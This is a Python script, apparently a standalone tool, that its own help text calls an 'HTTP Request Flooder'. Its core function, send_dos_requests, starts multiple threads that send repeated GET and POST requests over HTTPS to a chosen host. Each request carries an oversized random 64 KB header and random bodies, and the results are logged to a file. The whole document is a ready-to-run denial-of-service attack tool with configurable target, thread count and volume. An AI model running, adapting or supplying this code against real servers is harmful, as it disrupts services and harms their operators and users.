import http.client import threading import logging import time import random import string import argparse import os # Configuration defaults DEFAULT_HOST = "target-server" DEFAULT_PORT = 443 DEFAULT_NUM_REQUESTS = 1000 DEFAULT_CONCURRENT_THREADS = 10 DEFAULT_REQUEST_INTERVAL = 0.5 DEFAULT_LOG_FILE = "requests.log" # Setup logging logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') def random_string(length): """Generate a random string of fixed length.""" letters = string.ascii_letters + string.digits return ''.join(random.choice(letters) for i in range(length)) def dynamic_payload(): """Generate a dynamic payload for requests.""" return random_string(random.randint(10, 100)) def send_request(conn, method, endpoint, headers, payload): """Send a single HTTP request.""" conn.request(method, endpoint, body=payload, headers=headers) response = conn.getresponse() return response.status, response.reason def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file): def worker(thread_id): conn = None try: conn = http.client.HTTPSConnection(host, port, timeout=10) for i in range(num_requests // concurrent_threads): method = random.choice(["GET", "POST"]) headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Test-Header": random_string(65536) } payload = dynamic_payload() if method == "POST" else None status, reason = send_request(conn, method, "/", headers, payload) logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}") with open(log_file, "a") as logf: logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n") time.sleep(request_interval) except Exception as e: logging.error(f"Thread {thread_id} - An error occurred: {e}") finally: if conn: conn.close() # Create and start threads threads = [] for i in range(concurrent_threads): thread = threading.Thread(target=worker, args=(i + 1,)) thread.start() threads.append(thread) time.sleep(0.1) for thread in threads: thread.join() logging.info("Completed sending requests") def parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser(description="HTTP Request Flooder") parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address') parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port') parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send') parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads') parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests') parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results') return parser.parse_args() if __name__ == "__main__": args = parse_args() logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads") send_dos_requests( host=args.host, port=args.port, num_requests=args.num_requests, concurrent_threads=args.concurrent_threads, request_interval=args.request_interval, log_file=args.log_file )